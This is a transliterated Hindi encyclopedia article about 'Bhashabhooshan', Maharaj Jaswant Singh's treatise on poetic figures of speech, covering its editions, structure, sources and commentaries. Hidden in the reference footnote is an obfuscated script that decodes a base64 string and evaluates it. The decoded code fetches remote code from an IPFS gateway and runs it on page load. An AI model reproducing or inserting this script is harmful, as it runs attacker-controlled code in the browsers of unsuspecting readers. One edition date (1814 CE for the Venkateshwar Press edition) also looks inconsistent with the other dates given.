भाषाभूषण
bhashabhooshan ke lekhak maharaj jasavantasianh, jodhapur vale the aur isaka rachana kal san 1644 ee. hai. isake kee sampadit sanskaran prakashit ho chuke haian. isaka sampadan brajaratnadas tatha gulabaray ne kiya tha. isake mukhy sanskaran mannalal, banaras (1886 ee.), veankateshvar pres, bambee (1814 ee.) tatha ramachandr pathak, banaras (1925 ee.) ne nikale haian. yah sanskrit granth 'chandralok' ki shaili par ek hi dohe mean lakshanodaharan prastut karate hue appay dikshit ke 'kuvalayanand' se prabhavit hokar likha gaya hai. hindi mean alankar vishay ko itani saralata, sugamata aur sankshiptata ke sath prastut karane vala yah sarvashreshth granth hai, jise sahaj hi kanthasth kiya ja sakata hai.[1]
navin rachana
gopakrit 'alankar chandrika' bhashabhooshan ki poorvavartti rachana hokar bhi itani prabhavapoorn siddh nahian huee. yah granth aise vyakti ke lie racha gaya hai, jo bhasha ka pandit aur kavyarasik ho. praudh achary to sanskrit granthoan se labh utha hi lete haian, isaki rachana to shiksharthiyoan ke labharth huee hai. sambhavat: isi karan lekhak ne is rachana ko 'navin' kaha hai-
"tahi narake hetu yah kinhoan granth navin. jo pandit bhasha-nipun, kavita-vishai pravin."[2]
isase poorv-prachalit granth parampara ka sanket bhi grahan kiya ja sakata hai.
paanch prakashoan mean lekhan
is granth ki rachana 5 prakashoan mean huee hai- pratham prakash mean 5 dohoan mean mangalacharan, dvitiy mean 17 dohoan mean nayikabhed, tritiy mean 10 dohoan mean havabhav niroopan, chaturth mean 156 dohoan mean arthalankar tatha paanchavean mean 10 dohoan mean shabdalankaroan ka varnan hai. aant mean 5 dohoan mean granth-prayojan diya gaya hai. lekhak ki shabdalankaroan ke prati vishesh ruchi nahian hai. anupras ka varnan bhi yathesht samajha gaya hai. keval 36 dohoan mean any kavyaangoan ka sanket kar diya gaya hai. alankarapradhany ke karan hi ise 'bhashabhooshan' nam diya gaya hai. lekhak ka vichar hai ki vividh granthoan ke adhyayanoparaant likhit is granth ke 108 alankaroan ka jnan prapt lar lene par vyakti ko sahity ke vividharth tatha ras sugam ho jayeange.[1]
alakaanroan ki pradhanata
alankaroan ke lakshanoan mean svatantrata se bhi kam liya gaya hai aur kahian-kahian chhayanuvad bhi rakha gaya hai. chhayanuvad adhik saras, madhur aur akarshak hai. alankar bhedoan ke niroopan ke avasar par pahale ek sath vishesh alankar ke bhedoan ka lakshan dekar taduparaant ek sath udaharan diye gaye haian anyatha dohe ki ek pankti mean lakshan tatha doosari mean udaharan dene ki shaili apanayi gayi hai. lakshanoan mean kasavat aur udaharanoan ki upayuktata prashansaniy hai. 'kuvalayanand' ki atma hi mano bhasha mean avatarit ho gayi hai. alankar-bhed, unake kram tatha unaki sankhya 'kuvalayanand' ke hi anukool hai tatha rasavath alankar tatha bhavodayadi, jaise- 'kuvalayanand' mean paramat ke roop mean upasthit haian, vaise hi 'bhashabhooshan' mean bhi unaki upeksha hai. upama, roopak, nidarshanadi kuchh alankaroan ke lakshanoan ke sambandh mean lekhak maun hai. lakshanoan mean sanskrit-shabdavali ke karan yatr-tatr kuchh klishtata a gayi hai. shabdalankaroan ke lie lekhak mammat, vishvanath tatha dandi ka abhari hai.
tikaean
is granth ki prachin tikaoan mean vanshidhar, ranadhir sianh, pratapasahi, gulab kavi tatha haricharanadas ki tika prapy haian tatha dalapatiray vanshidhar ka san 1736 ee. ka 'alankar ratnakar' namak tilak mahattvapoorn hai. adhunik tikaoan mean gulabaray krit (sahity ratn bhandar, agara dvara prakashit) tika prasiddh hai tatha brajaratnadas, ramachandr pathak (banaras), hindi sahity kutir (banaras), veankateshvar pres (bambee), mannalal (banaras) ki tikaean bhi prakashit huee haian. prachin lekhakoan mean ramasianh ke 'alankar darpan' ke lakshan isi se prabhavit hokar likhe gaye haian. somanath krit 'rasapiyooshanidhi' mean isake saman arthalankaroan ka varnan kiya gaya hai tatha shridhar ojha ne to 'bhashabhooshan' namak isake saman ek granth ki rachana hi kar dali hai.[1]
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tika tippani aur sandarbh
- ↑ 1.0 1.1 1.2 hindi sahity kosh, bhag 2 |prakashak: jnanamandal limited, varanasi |sankalan: bharatakosh pustakalay |sanpadan: d aau. dhireandr varma |prishth sankhya: 411 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ (210)
sanbandhit lekh
varnamala kramanusar lekh khoj
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